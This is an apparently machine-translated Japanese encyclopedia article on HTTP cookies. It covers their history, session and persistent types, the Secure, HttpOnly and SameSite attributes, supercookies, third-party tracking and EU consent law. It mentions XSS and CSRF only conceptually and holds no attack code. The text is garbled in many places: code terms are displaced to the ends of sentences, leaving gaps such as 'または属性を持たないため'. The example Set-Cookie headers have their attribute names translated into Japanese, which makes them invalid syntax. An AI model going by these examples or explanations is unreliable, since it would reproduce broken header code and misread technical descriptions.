HTTP クッキー
ページは半保護されています
この記事を聞く

HTTP Cookie（ウェブCookie、インターネットCookie、ブラウザCookie、または単にCookieとも呼ばれる）は、ユーザーがウェブサイトを閲覧している際にウェブサーバーによって作成され、ユーザーのウェブブラウザによってユーザーのコンピュータまたはその他のデバイスに配置される小さなデータブロックです。Cookieはウェブサイトへのアクセスに使用されたデバイスに配置され、セッション中に複数のCookieがユーザーのデバイスに配置される場合があります。

クッキーはウェブ上で便利で、時には不可欠な機能を果たします。ウェブサーバーはクッキーを使用することで、ユーザーのデバイスに状態情報（オンラインストアのショッピングカートに追加された商品など）を保存したり、ユーザーの閲覧アクティビティ（特定のボタンのクリック、ログイン、過去に訪問したページの記録など）を追跡したりすることができます。[ 1 ]また、ユーザーがフォームに入力した名前、住所、パスワード、クレジットカード番号などの情報を保存し、後で使用できるようにするためにも使用されます。

認証クッキーは、ウェブサーバーがユーザーがログインしていること、またどのアカウントでログインしているかを認証するために一般的に使用されます。このクッキーがなければ、ユーザーはアクセスしたい機密情報を含むページごとにログインして認証を行う必要があります。認証クッキーのセキュリティは、一般的に、発行元ウェブサイトとユーザーのウェブブラウザのセキュリティ、およびクッキーデータが暗号化されているかどうかによって決まります。セキュリティ上の脆弱性により、クッキーのデータが攻撃者に読み取られたり、ユーザーデータへのアクセスに使用されたり、（ユーザーの認証情報を使用して）クッキーが属するウェブサイトへのアクセスに使用されたりする可能性があります（クロスサイトスクリプティングやクロスサイトリクエストフォージェリの例を参照）。[ 2 ]

トラッキングクッキー、特にサードパーティのトラッキングクッキーは、個人の閲覧履歴の長期記録をまとめる方法として一般的に使用されています。これはプライバシーに関する潜在的な懸念であり、2011年に欧州[ 3 ]と米国の立法者が行動を起こしました。[ 4 ] [ 5 ]欧州の法律では、欧州連合加盟国を対象とするすべてのウェブサイトは、ユーザーのデバイスに必須でないクッキーを保存する前に、ユーザーから「インフォームドコンセント」を得ることが義務付けられています。

背景

名前の由来

HTTP クッキーは、人気の焼き菓子と同じ名前を持っています。

クッキーという用語は、ウェブブラウザプログラマーのルー・モントゥッリによって造られました。これは、プログラムが受信し、変更せずに送り返すデータパケットであるマジッククッキー（Unixプログラマーが使用）に由来しています。[ 6 ] [ 7 ]

歴史

マジッククッキーは、1994年6月にコンピュータプログラマーのルー・モントゥリがウェブ通信に使うというアイデアを思いついた頃には、既にコンピューティングに使われていた。[ 8 ]当時、モントゥリはネットスケープ・コミュニケーションズの社員で、同社はMCI向けに電子商取引アプリケーションを開発していた。ヴィント・サーフとジョン・クレンシンはMCIの代表としてネットスケープ・コミュニケーションズとの技術協議に参加した。MCIは、自社のサーバーが部分的なトランザクション状態を保持することを避けたかったため、ネットスケープに対し、代わりに各ユーザーのコンピューターにその状態を保存する方法を見つけるよう依頼した。クッキーは、仮想ショッピングカートを確実に実装するという問題を解決するものだった。[ 9 ] [ 10 ]

同年、モントゥッリはジョン・ジャンナンドレアと共にNetscapeの最初のCookie仕様を作成した。1994年10月13日にリリースされたMosaic Netscapeのバージョン0.9betaで[ 11 ] [ 12 ] Cookieがサポートされた。[ 10 ] Cookieの最初の使用法（研究室以外での）は、Netscapeのウェブサイトへの訪問者が既にサイトを訪問しているかどうかを確認することだった。モントゥッリは1995年にCookie技術の特許を申請し、1998年に認可された。[ 13 ] Cookieのサポートは、1995年10月にリリースされたバージョン2のInternet Explorerに統合された。 [ 14 ]

当時、クッキーの導入は一般に広く知られていませんでした。特に、クッキーはデフォルトで承認されており、ユーザーにはその存在が通知されませんでした。[ 15 ]クッキーについて一般の人々が知るようになったのは、 1996年2月12日にフィナンシャル・タイムズがクッキーに関する記事を掲載した後のことでした。 [ 16 ]同年、クッキーは特にプライバシーへの潜在的な影響から、メディアの注目を集めました。1996年と1997年には、米国連邦取引委員会（FTC）の公聴会でクッキーに関する議論が2回行われました。 [ 2 ]

正式なクッキー仕様の開発はすでに進行中でした。具体的には、正式な仕様についての最初の議論は 1995 年 4 月に www-talkメーリング リストで開始されました。インターネット技術タスク フォース(IETF)内に特別なワーキング グループが結成されました。HTTP トランザクションに状態を導入するための 2 つの代替案が、それぞれBrian Behlendorfと David Kristol によって提案されていました。しかし、Kristol 自身と Lou Montulli が率いるこのグループは、すぐに Netscape の仕様を開始点として使用することを決定しました。1996 年 2 月、ワーキング グループはサードパーティのクッキーがプライバシーに対する重大な脅威であると特定しました。このグループによって作成された仕様は、最終的に RFC 2109 として 1997 年 2 月に公開されました。この仕様では、サードパーティのクッキーはまったく許可されないか、少なくともデフォルトでは有効になっていないと指定されています。[ 17 ]この時点では、広告会社はすでにサードパーティのクッキーを使用していましたRFC 2109 は、2000 年 10 月に RFC 2965 に置き換えられました。

RFC 2965ではSet-Cookie2ヘッダーフィールドが追加され、これは非公式には「RFC 2965スタイルのクッキー」と呼ばれるようになりました。Set-Cookieこれは、元のヘッダーフィールドが「Netscapeスタイルのクッキー」と呼ばれていたこととは対照的です。[ 18 ] [ 19 ]Set-Cookie2しかし、このヘッダーフィールドはほとんど使用されておらず、 2011年4月にRFC 6265で廃止されました。RFC 6265は、実際のクッキーの仕様を定めたものです。[ 20 ]最近のブラウザはこのSet-Cookie2ヘッダーフィールドを認識しません。[ 21 ]

用語

セッションクッキー（メモリ内クッキー、一時クッキー、非永続クッキーとも呼ばれる）は、ユーザーがウェブサイトを閲覧している間、一時的なメモリにのみ存在します。[ 22 ] セッションクッキーは、ユーザーがウェブブラウザを閉じると期限切れになるか削除されます。[ 23 ]セッションクッキーは、有効期限が割り当てられていないことでブラウザによって識別されます。

永続的Cookieは、特定の日付または特定の期間が経過すると有効期限が切れます。作成者が設定した有効期間中、ユーザーがCookieが属するウェブサイトにアクセスするたびに、またはユーザーが別のウェブサイトからそのウェブサイトに属するリソース（広告など）を閲覧するたびに、Cookieの情報がサーバーに送信されます。

このため、永続的クッキーはトラッキングクッキーと呼ばれることもあります[ 24 ] [ 25 ]。これは、広告主がユーザーのウェブ閲覧習慣に関する情報を長期間にわたって記録するために使用できるためです。永続的クッキーは、ユーザーがウェブサイトにログインした状態を維持し、訪問のたびにログイン情報を再入力する手間を省くなどの目的でも使用されます。

セキュアCookieは、暗号化された接続（HTTPSなど）でのみ送信できます。暗号化されていない接続（ HTTPなど）では送信できません。これにより、Cookieが盗聴による盗難の被害に遭う可能性が低くなります。CookieはSecure、Cookieにフラグを 追加することで保護されます。

HTTP専用Cookieは、 JavaScriptなどのクライアント側APIからはアクセスできません。この制限により、クロスサイトスクリプティング（XSS）によるCookie盗難の脅威は排除されます。[ 26 ]ただし、このCookieはクロスサイトトレーシング（XST）攻撃やクロスサイトリクエストフォージェリ（CSRF）攻撃に対して依然として脆弱です。Cookieにこの特性を持たせるには、HttpOnlyCookieにフラグを追加します。

2016年にGoogle Chromeバージョン51で、、 、または が可能な属性を持つ新しい種類のCookieが導入されました[ 27 ]。[ 28 ]属性を使用すると、ブラウザは元のドメインと同じターゲットドメインにのみCookieを送信します。これにより、クロスサイトリクエストフォージェリ（CSRF）攻撃を効果的に軽減します。 を使用すると、ブラウザは元のドメインとは異なるターゲットドメインへのリクエストとともにCookieを送信しますが、GETなどの安全なリクエスト（POSTは安全ではありません）のみに対してであり、サードパーティのCookie（iframe内）は送信しません。 属性はサードパーティ（クロスサイト）Cookieを許可しますが、ほとんどのブラウザはSameSite=None Cookieにsecure 属性を要求します。 [ 29 ]SameSiteStrictLaxNoneSameSite=StrictSameSite=LaxSameSite=None

Same-site Cookieは、RFC 6265を更新するために「Cookie: HTTP状態管理メカニズム」[ 30 ]の新しいRFCドラフトに組み込まれます（承認された場合）。

Chrome、Firefox、EdgeはSame-site Cookieのサポートを開始しました。[ 31 ]ロールアウトの鍵は、SameSite属性が定義されていない既存のCookieの扱いです。Chromeはこれらの既存のCookieをSameSite=Noneとして扱い、これによりすべてのウェブサイト/アプリケーションが以前と同じように動作します。Googleは、SameSite=Lax2020年2月にリリースが予定されているChrome 80でこのデフォルトを変更するつもりでした。 [ 32 ]しかし、サードパーティ/クロスサイトCookieに依存するアプリケーション/ウェブサイトが破損する可能性とCOVID-19の状況により、Googleはこの変更をChrome 84に延期しました。[ 33 ] [ 34 ]

スーパークッキー

スーパーCookieとは、トップレベルドメイン（例：.com）またはパブリックサフィックス（例： ）をオリジンとするCookieです.co.uk。一方、通常のCookieは、特定のドメイン名（例： ）をオリジンとしますexample.com。

スーパークッキーは潜在的なセキュリティ上の懸念となる可能性があるため、多くの場合、ウェブブラウザによってブロックされます。ブラウザによってブロックが解除された場合、悪意のあるウェブサイトを管理する攻撃者がスーパークッキーを設定し、悪意のあるウェブサイトと同じトップレベルドメインまたはパブリックサフィックスを共有する別のウェブサイトへの正当なユーザーリクエストを妨害したり、なりすましたりする恐れがあります。例えば、オリジンが であるスーパークッキーは、クッキーが から発信されていない場合でも、.comへのリクエストに悪意のある影響を与える可能性があります。これは、ログインを偽装したり、ユーザー情報を改ざんしたりするために利用される可能性があります。 example.comexample.com

パブリックサフィックスリスト[ 35 ]は、スーパークッキーがもたらすリスクを軽減するのに役立ちます。パブリックサフィックスリストは、ドメイン名サフィックスの正確かつ最新のリストを提供することを目的とした、ベンダー横断的な取り組みです。古いバージョンのブラウザでは最新のリストが提供されていない可能性があり、特定のドメインからのスーパークッキーに対して脆弱になる可能性があります。[ 36 ]

その他の用途

スーパークッキーという用語は、HTTPクッキーに依存しない追跡技術にも使用されます。2011年8月、マイクロソフトのウェブサイトで、そのようなスーパークッキーの仕組みが2つ発見されました。MUID（マシンユニーク識別子）クッキーを再生成するクッキー同期と、 ETagクッキーです。[ 37 ]メディアの注目を集めたため、マイクロソフトは後にこのコードを無効化しました。[ 38 ] 2021年のブログ投稿で、Mozillaはブラウザキャッシュをサイト間でユーザーを追跡する手段として使用することをスーパークッキーと呼んでいました。[ 39 ]

ゾンビクッキーとは、ウェブサーバーによって訪問者のコンピュータやその他のデバイス上の、訪問者のウェブブラウザの専用クッキー保存場所の外にある隠れた場所に配置されたデータとコードであり、元のクッキーが削除された後、HTTPクッキーを通常のクッキーとして自動的に再作成するものである。ゾンビクッキーは、Flashローカル共有オブジェクト、HTML5ウェブストレージ、その他のクライアント側、さらにはサーバー側の複数の場所に保存される可能性があり、いずれかの場所で欠落が検出されると、JavaScriptコードによって他の場所に保存されているデータを使用して欠落したインスタンスが再作成される。[ 40 ] [ 41 ]

構造

クッキーは以下のコンポーネントで構成されています: [ 42 ] [ 43 ] [ 44 ]

  1. 名前
  2. 価値
  3. 0 個以上の属性（名前と値のペア）。属性には、Cookie の有効期限、ドメイン、フラグ（ や など）などの情報が格納されSecureますHttpOnly。

用途

セッション管理

クッキーは元々、ユーザーがウェブサイト内を移動しながら購入したい品目を記録するための手段（仮想ショッピングカートまたは買い物かご）を提供するために導入されました。[ 9 ] [ 10 ]しかし今日では、ユーザーのショッピングカートの内容は通常、クライアント上のクッキーではなく、サーバー上のデータベースに保存されます。どのユーザーがどのショッピングカートに割り当てられているかを追跡するために、サーバーは一意のセッション識別子（通常はランダムな文字と数字の長い文字列）を含むクッキーをクライアントに送信します。クライアントが行うリクエストごとにクッキーがサーバーに送信されるため、ユーザーがウェブサイトの新しいページにアクセスするたびにそのセッション識別子がサーバーに送り返され、サーバーはユーザーにどのショッピングカートを表示すればよいかを知ることができます。

クッキーのもう一つの一般的な用途は、ウェブサイトへのログインです。ユーザーがウェブサイトのログインページにアクセスすると、ウェブサーバーは通常、クライアントに固有のセッション識別子を含むクッキーを送信します。ユーザーがログインに成功すると、サーバーはその特定のセッション識別子が認証されたことを記憶し、ユーザーにサービスへのアクセスを許可します。

セッションCookieには一意のセッション識別子のみが含まれるため、ウェブサイトが各ユーザーについて保存できる個人情報の量は事実上無制限です。つまり、Cookieのサイズに関する制限がウェブサイトに課されることはありません。また、セッションCookieに含まれる情報量が少なく、必要な帯域幅も少ないため、ページの読み込み時間を短縮するのにも役立ちます。

パーソナライゼーション

Cookieは、ユーザーに関する情報を記憶し、時間の経過とともにそのユーザーに関連性の高いコンテンツを表示するために使用できます。例えば、ウェブサーバーは、ウェブサイトへの前回のログイン時に使用されたユーザー名を含むCookieを送信し、ユーザーが次回ログインする際にユーザー名が自動的に入力されるようにすることができます。

多くのウェブサイトは、ユーザーの好みに基づいたパーソナライズのためにCookieを使用しています。ユーザーはウェブフォームに入力し、サーバーに送信することで好みを選択します。サーバーは好みをCookieにエンコードし、ブラウザに送り返します。これにより、ユーザーがウェブサイト上のページにアクセスするたびに、サーバーはユーザーの好みに合わせてページをパーソナライズすることができます。例えば、Google検索エンジンはかつてCo​​okieを使用して、ユーザー（登録していないユーザーも含む）が1ページあたりに表示する検索結果の数を指定できるようにしていました。また、DuckDuckGoはCookieを使用して、ユーザーがウェブページの色などの表示設定を変更できるようにしています。

トラッキング

トラッキングCookieは、ユーザーのウェブ閲覧習慣を追跡するために使用されます。ページをリクエストしたコンピュータのIPアドレスやHTTPリクエストヘッダーのリファラーフィールドを使用することで、ある程度の追跡も可能ですが、Cookieを使用するとより正確な追跡が可能です。これは以下のように実証できます。

  1. ユーザーがサイトのページをリクエストしたが、リクエストにCookieが含まれていない場合、サーバーはそれがユーザーが初めて訪問したページであると想定します。そのため、サーバーは一意の識別子（通常はランダムな文字と数字の文字列）を作成し、リクエストされたページと共にCookieとしてブラウザに送信します。
  2. 以降、サイトから新しいページがリクエストされるたびに、ブラウザからサーバーへCookieが自動的に送信されます。サーバーは通常通りページを送信するだけでなく、リクエストされたページのURL、リクエストの日時、そしてCookieをログファイルに保存します。

このログ ファイルを分析することで、ユーザーがどのページをどのような順序でどのくらいの時間訪問したかを知ることができます。

企業はクッキーを追跡することでユーザーのウェブ利用習慣を悪用し、購買習慣に関する情報を収集しています。ウォール・ストリート・ジャーナル紙によると、アメリカのトップ50ウェブサイトは平均64個の追跡技術をコンピュータにインストールしており、合計3,180個の追跡ファイルが作成されています。[ 45 ]これらのデータは収集され、入札企業に販売される可能性があります。

実装

ウェブブラウザとウェブページを保持しているウェブサーバとの間で起こりうる相互作用。サーバはブラウザにクッキーを送信し、ブラウザは別のページを要求するときにクッキーを送り返す。

クッキーは任意のデータであり、通常はウェブサーバーによって選択され、最初に送信され、ウェブブラウザによってクライアントコンピュータに保存されます。ブラウザはリクエストごとにクッキーをサーバーに送り返し、本来はステートレスなHTTPトランザクションにステート（過去のイベントの記憶）を追加します。クッキーがなければ、ウェブページまたはウェブページのコンポーネントの取得はそれぞれ独立したイベントとなり、ユーザーがウェブサイト上で行った他のページ閲覧とはほとんど関係がなくなります。クッキーは通常ウェブサーバーによって設定されますが、JavaScriptなどのスクリプト言語を使用してクライアントが設定することもできます（ただし、クッキーのフラグが設定されている場合は、スクリプト言語でクッキーを変更できません）。 HttpOnly

クッキーの仕様[ 46 ] [ 47 ]では、クッキーをサポートするためにブラウザが以下の要件を満たすことを要求しています。

  • 最大 4,096バイトの Cookie をサポートできます。
  • ドメインごとに（つまり、Web サイトごとに）少なくとも 50 個の Cookie をサポートできます。
  • 合計で少なくとも 3,000 個の Cookie をサポートできます。

Set-CookieCookieは、WebサーバーからのHTTPレスポンスに含まれるヘッダーフィールドを使用して設定されます。このヘッダーフィールドは、WebブラウザにCookieを保存し、今後のリクエストでサーバーに送り返すよう指示します（ブラウザがCookieをサポートしていない場合、またはCookieを無効にしている場合、このヘッダーフィールドは無視されます）。

たとえば、ブラウザはwww.example.orgWeb サイトのホームページに対して最初の HTTP リクエストを送信します。 

GET /index.html HTTP / 1.1ホスト: www.example.org ...

サーバーは 2 つのSet-Cookieヘッダー フィールドで応答します。 

HTTP / 1.0 200 OKコンテンツタイプ: text/html Set-Cookie : theme=light Set-Cookie : sessionToken=abc123; 有効期限=Wed, 9 Jun 2021 10:18:14 GMT ...

サーバーのHTTPレスポンスには、ウェブサイトのホームページのコンテンツが含まれています。しかし、ブラウザに2つのCookieを設定するよう指示しています。1つ目のtheme は、または属性を持たないため、セッションCookieと見なされます。セッションCookieは、ブラウザの終了時にブラウザによって削除されることを意図しています。2つ目のsessionToken は、特定の日時にCookieを削除するようブラウザに指示する属性を 持つため、永続Cookieと見なされます。ExpiresMax-AgeExpires

次に、ブラウザはspec.htmlウェブサイト上のページにアクセスするための別のリクエストを送信します。このリクエストにはCookieヘッダーフィールドが含まれており、サーバーがブラウザに設定するよう指示した2つのCookieが含まれています。 

GET /spec.html HTTP / 1.1ホスト: www.example.org Cookie : theme=light; sessionToken=abc123 ...

これにより、サーバーはこのHTTPリクエストが以前のリクエストと関連していることを認識します。サーバーは要求されたページを送信することで応答し、Set-Cookieブラウザに新しいCookieの追加、既存のCookieの変更、または既存のCookieの削除を指示するために、HTTPレスポンスにさらにヘッダーフィールドを含める場合があります。Cookieを削除するには、サーバーはSet-Cookie過去の有効期限を含むヘッダーフィールドを含める必要があります。

クッキーの値は、 とおよび空白文字を除く、印刷可能なASCII文字（!から~、Unicode\u0021から\u007E）で構成できます。クッキーの名前には、 と および空白文字 は含まれません。クッキーの名前には、同じ文字と は含まれません。 は名前と値の区切り文字であるためです。クッキー標準 RFC 2965 はより制限が厳しいですが、ブラウザでは実装されていません。 ,;=

クッキークラムという用語は、クッキーの名前と値のペアを指すために使用されることがあります。[ 48 ]

クッキーは、ブラウザ内で実行されるJavaScriptなどのスクリプト言語によっても設定できます。JavaScriptでは、オブジェクトがdocument.cookieこの目的で使用されます。例えば、命令は名前が「温度」で値が「20」document.cookie = "temperature=20"のクッキーを作成します。[ 49 ]

Cookieは、名前と値に加えて、1つ以上の属性を持つことができます。ブラウザはサーバーへのリクエストにCookie属性を含めず、Cookieの名前と値のみを送信します。Cookie属性は、ブラウザがCookieを削除するタイミング、Cookieをブロックするタイミング、またはCookieをサーバーに送信するかどうかを判断するために使用されます。

ドメインとパス

属性DomainとPath属性はCookieのスコープを定義します。これらは基本的に、Cookieがどのウェブサイトに属しているかをブラウザに伝えます。セキュリティ上の理由から、Cookieは現在のリソースのトップドメインとそのサブドメインにのみ設定でき、他のドメインとそのサブドメインには設定できません。例えば、ウェブサイトはexample.orgドメイン のCookieを設定することはできません。foo.comそうすると、ウェブサイトがexample.orgドメイン のCookieを制御できるようになるためですfoo.com。

クッキーのDomainおよびPath属性がサーバーによって指定されていない場合、それらは要求されたリソースのドメインとパスにデフォルト設定されます。[ 50 ]foo.comただし、ほとんどのブラウザでは、ドメインなしでから設定されたクッキーと、ドメインを使用して設定されたクッキーとの間に違いがありますfoo.com。前者の場合、クッキーは へのリクエストにのみ送信されfoo.com、ホストのみのクッキーとも呼ばれます。後者の場合、すべてのサブドメインも含まれます（たとえば、docs.foo.com）。[ 51 ] [ 52 ]この一般的なルールの注目すべき例外は、Windows 10 RS3 より前の Edge と IE 11 および Windows 10 RS4（2018 年 4 月）より前の Internet Explorer です。これらのバージョンでは、クッキーがドメイン付きで設定されたかどうかに関係なく、常にサブドメインにクッキーが送信されます。[ 53 ]

Set-Cookie以下は、ユーザーがログインした後の Web サイトの HTTP 応答のヘッダー フィールドの例です。HTTP 要求はdocs.foo.comサブドメイン内の Web ページに送信されました。 

HTTP / 1.0 200 OK Set-Cookie : LSID=DQAAAK…Eaem_vYg; パス=/accounts; 有効期限=Wed, 13 Jan 2021 22:23:01 GMT; セキュア; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst; ドメイン=.foo.com; パス=/; 有効期限=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly Set-Cookie : SSID=Ap4P…GTEq; ドメイン=foo.com; パス=/; 有効期限=Wed, 13 Jan 2021 22:23:01 GMT; セキュア; HttpOnly ...

最初のクッキー には属性LSIDがなくDomain、 にはPath属性が に設定されています/accounts。これは、ブラウザに に含まれるページをリクエストする場合にのみこのクッキーを使用するように指示しますdocs.foo.com/accounts（ドメインはリクエストドメインから派生します）。他の2つのクッキーHSIDと は、ブラウザが任意のパス（例： ）の のSSIDサブドメインをリクエストする際に使用されます。先頭のドットは最近の標準ではオプションですが、RFC 2109ベースの実装との互換性のために追加できます。[ 54 ].foo.comwww.foo.com/bar

有効期限と最大年齢

このExpires属性は、ブラウザがCookieを削除する日時を定義します。日時は、 の形式Wdy, DD Mon YYYY HH:MM:SS GMT、またはYYの値の の形式で指定されますWdy, DD Mon YY HH:MM:SS GMT。YYは0以上69以下の範囲です。[ 55 ]

あるいは、このMax-Age属性を使用して、ブラウザがCookieを受信した時刻を基準とした秒数でCookieの有効期限を設定することもできます。以下は、Set-Cookieユーザーがログインした後にウェブサイトから受信した3つのヘッダーフィールドの例です。 

HTTP / 1.0 200 OK Set-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; 有効期限=Tue, 15 Jan 2013 21:47:38 GMT; パス=/; ドメイン=.example.com; HttpOnly Set-Cookie : made_write_conn=1295214458; パス=/; ドメイン=.example.com Set-Cookie : reg_fb_gate=deleted; 有効期限=Thu, 1 Jan 1970 00:00:01 GMT; パス=/; ドメイン=.example.com; HttpOnly

最初のCookie（ ）は、lu2013年1月15日に有効期限が設定されています。有効期限が切れるまで、クライアントブラウザによって使用されます。2番目のCookie（ ）にはmade_write_conn有効期限が設定されていないため、セッションCookieとなります。ユーザーがブラウザを閉じると、このCookieは削除されます。3番目のCookie（ ）のreg_fb_gate値は、有効期限が過去の日付で、削除済みに変更されています。有効期限が過去の日付であるため、ブラウザはこのCookieを直ちに削除します。Cookieは、 フィールドのドメイン属性とパス属性が、Set-CookieCookieの作成時に使用された値と一致する場合にのみ削除されることに注意してください。

2016年現在、Internet ExplorerはサポートしていないMax-Age。[ 56 ] [ 57 ]

安全でHttpOnly

属性SecureとHttpOnly属性には関連する値がありません。属性名のみが存在する場合、その動作が有効であることを示します。

このSecure属性は、Cookie通信を暗号化された送信に限定し、ブラウザがCookieをセキュア/暗号化された接続経由でのみ使用するように指示することを目的としています。しかし、Webサーバーがセキュアでない接続からセキュア属性を持つCookieを設定した場合、そのCookieがユーザーに送信される際に中間者攻撃によって傍受される可能性があります。したがって、セキュリティを最大限に高めるには、Secure属性を持つCookieはセキュアな接続経由でのみ設定する必要があります。

このHttpOnly属性は、ブラウザに対し、HTTP（およびHTTPS）リクエスト以外のチャネルを通じてCookieを公開しないように指示します。つまり、クライアント側のスクリプト言語（特にJavaScript ）経由でCookieにアクセスできないため、クロスサイトスクリプティング（広範囲に及ぶ攻撃手法）によって簡単に盗まれることはありません。 [ 58 ]

ブラウザ設定

最近のブラウザのほとんどはCookieをサポートしており、ユーザーはCookieを無効にすることができます。一般的なオプションは以下のとおりです。[ 59 ]

  • クッキーを完全に有効または無効にして、常に受け入れられるか常にブロックされるかを設定します。
  • クッキー マネージャーを使用してクッキーを表示し、選択的に削除します。
  • クッキーを含むすべての個人データを完全に消去します。

クッキーの許可を管理するためのアドオンツールも存在する。[ 60 ] [ 61 ] [ 62 ] [ 63 ]

クッキーは、ウェブユーザーのプライバシーと匿名性に重要な意味を持ちます。クッキーは、それを設定したサーバーまたは同じインターネットドメイン内のサーバーにのみ送信されますが、ウェブページには、他のドメインのサーバーに保存されている画像やその他のコンポーネントが含まれている場合があります。これらのコンポーネントの取得中に設定されるクッキーは、サードパーティクッキーと呼ばれます。サードパーティクッキーは、アドレスバーに表示されているドメインとは異なるドメインに属します。この種類のクッキーは、通常、ウェブページにバナー広告など、外部ウェブサイトのコンテンツが掲載されている場合に表示されます。これにより、ユーザーの閲覧履歴が追跡される可能性があり、広告主は各ユーザーに関連性の高い広告を配信するためにこれを使用します。

この架空の例では、広告会社が2つのウェブサイトにバナーを掲載しています。バナー画像を自社のサーバーにホストし、サードパーティのCookieを使用することで、広告会社はこれら2つのサイトにおけるユーザーの閲覧履歴を追跡できます。

例えば、ユーザーが にアクセスしたとしますwww.example.org。このウェブサイトには からの広告が含まれておりad.foxytracking.com、ダウンロードされると、広告のドメイン ( ) に属する Cookie が設定されますad.foxytracking.com。次に、ユーザーは別のウェブサイト にアクセスします。このウェブサイトwww.foo.comにも からの広告が含まれておりad.foxytracking.com、そのドメイン ( ) に属する Cookie が設定されます。最終的に、これらの Cookie は両方とも、広告主の広告が読み込まれたとき、またはウェブサイトにアクセスしたときに広告主に送信されます。広告主は、これらの Cookie を使用して、 HTTP リファラーad.foxytracking.comヘッダー フィールドを通じて、この広告主の広告が掲載されているすべてのウェブサイトにおけるユーザーの閲覧履歴を構築できます。

2014年時点では、一部のウェブサイトでは100を超えるサードパーティドメインに読み取り可能なCookieを設定していました。[ 64 ]平均すると、1つのウェブサイトは10個のCookieを設定しており、最大Cookie数（ファーストパーティとサードパーティ）は800個を超えています。[ 65 ]

クッキーの古い標準規格であるRFC 2109 [ 17 ]とRFC 2965では、ブラウザはユーザーのプライバシーを保護し、デフォルトでサーバ間でのクッキーの共有を許可しないことを推奨している。しかし、新しい標準規格であるRFC 6265では、ユーザーエージェントが希望するサードパーティのクッキーポリシーを実装することを明示的に許可している。最近のウェブブラウザのほとんどは、サードパーティのクッキーをブロックできるプライバシー設定を含んでいる。2020年以降、Apple Safari [ 66 ]、Firefox [ 67 ]、Brave [ 68 ]はデフォルトですべてのサードパーティのクッキーをブロックしている。Safariでは、埋め込まれたサイトがストレージアクセスAPIを使用してファーストパーティのクッキーを設定する許可を要求できる。2020年5月、Google Chrome 83は、プライベートブラウジングのシークレットモードでサードパーティのクッキーをデフォルトでブロックする新機能を導入し、通常のブラウジング中のブロックをオプションにしました。同じアップデートで、ファーストパーティのクッキーをブロックするオプションも追加されました。[ 69 ] 2024年4月、ChromeはデフォルトでのサードパーティCookieのブロックを2025年に延期しました。[ 70 ] 2024年7月、GoogleはデフォルトでサードパーティCookieをブロックすることを避け、代わりにユーザーにサードパーティCookieを許可するように促す計画を発表しました。[ 71 ]

プライバシー

ユーザーのプロファイルが構築される可能性は、特にサードパーティのCookieを使用して複数のドメインにまたがってトラッキングが行われる場合、プライバシーの脅威となります。そのため、一部の国ではCookieに関する法律が制定されています。

サードパーティCookieの使用を消費者に開示しないウェブサイト運営者は、Cookieの使用が発覚した場合、消費者の信頼を損なうリスクがあります。プライバシーポリシーなどで明確に開示することで、Cookieの発覚による悪影響を排除できる傾向があります。[ 72 ]

米国政府は、ホワイトハウスの麻薬政策局がオンライン反麻薬広告を閲覧したコンピュータユーザーを追跡するためにクッキーを使用していたことが明らかになった後、2000年にクッキーの設定に関する厳格な規則を制定しました。2002年、プライバシー活動家のダニエル・ブラントは、CIAがウェブサイトを訪れたコンピュータに永続的なクッキーを残していたことを発見しました。ポリシー違反の通知を受けたCIAは、これらのクッキーは意図的に設定されたものではないと述べ、設定を停止しました。2005年12月25日、ブラントは国家安全保障局（NSA）がソフトウェアのアップグレードにより訪問者のコンピュータに2つの永続的なクッキーを残していたことを発見しました。NSAは通知を受け、直ちにこれらのクッキーを無効にしました。[ 73 ]

2002年、欧州連合はプライバシーと電子通信に関する指令（eプライバシー指令）を発効した。これは、クッキーや、ユーザーの機器に情報を保存・アクセスするための類似技術の設置について、エンドユーザーの同意を求める政策である。[ 74 ] [ 75 ]特に、第5条第3項は、技術的に不要なデータをユーザーのコンピュータに保存する場合は、そのデータの使用方法に関する情報をユーザーに提供し、ユーザーがこの保存操作を拒否できる場合にのみ許可すると規定している。指令では、設定の保持、ログインセッションの保存、ユーザーのショッピングカートの中身の記憶など、ユーザーが要求したサービスを提供するために機能的に必要なクッキーの使用について、ユーザーに許可や通知を求めていない。[ 76 ]

2009 年に、この法律は指令 2009/136/EC によって改正され、第 5 条第 3 項が変更されました。ユーザーがクッキーの保存をオプトアウトするオプションを持つ代わりに、改訂された指令では、クッキーの保存について同意を得ることが義務付けられています。[ 75 ]同意の定義は、欧州データ保護法の定義、まず 1995 年データ保護指令、次に一般データ保護規則(GDPR) と相互参照されています。GDPR の条文で同意の定義が強化されたため、ユーザーのデバイスにクッキーなどの情報を保存およびアクセスする者によって要求される同意の質が向上しました。しかし、データ保護指令に基づいて判決が下された事件で、欧州司法裁判所は後に、以前の法律は現在の法律と同じ強い同意の質を暗示していたことを確認しました。[ 77 ]ユーザーの端末デバイスへの情報の保存またはアクセスから生じる同意要件に加えて、多くのクッキーに含まれる情報はGDPRのみにおいて個人データとみなされ、処理には法的根拠が必要となる。これは1995年のデータ保護指令以来のことで、同指令でも個人データの定義は同一であったが、GDPRの解釈上の前文30ではクッキー識別子も含まれることが明確にされている。GDPRに基づくすべてのデータ処理に同意が必要なわけではないが、行動ターゲティング広告の特性上、他の根拠で正当化することは困難または不可能である。[ 78 ] [ 79 ]

GDPRとeプライバシー指令を組み合わせた場合の同意は、クッキーに関連していくつかの条件を満たす必要がある。[ 80 ]同意は自由意志で与えられ、曖昧さがないことが必要である。1995年データ保護指令[ 77 ]とGDPR（前文32）の両方で、事前にチェックされたボックスは禁止されていた。[ 81 ] GDPRでは、同意は「与えるのと同じくらい撤回も容易」でなければならないと明記されており、[ 81 ]つまり、「すべて拒否」ボタンはクリックや可視性の点で、「すべて承認」ボタンと同じくらい簡単にアクセスできなければならない。[ 80 ]同意は具体的かつ十分な情報に基づいたものでなければならない。つまり、同意はこのデータの使用目的に関連し、この同意を使用しようとするすべての組織の名前が具体的に示されなければならない。[ 82 ] [ 83 ]欧州連合司法裁判所も、同意は「効率的かつ適時」でなければならないとの判決を下している。[ 84 ]

業界の反応は概ね否定的だ。法律事務所Speechly Birchamのロバート・ボンド氏は、その影響は「英国企業全体」にとって「広範囲に及び、非常に負担が大きい」と述べている。プライバシー・インターナショナルのサイモン・デイビス氏は、適切な施行は「業界全体を破滅させる」と主張している。[ 85 ]しかし、研究者たちは、クッキーポップアップの煩わしさは、GDPRと互換性がない可能性のある複雑な要求を通じてビジネスモデルを継続しようとする試みに起因していると指摘している。[ 78 ]

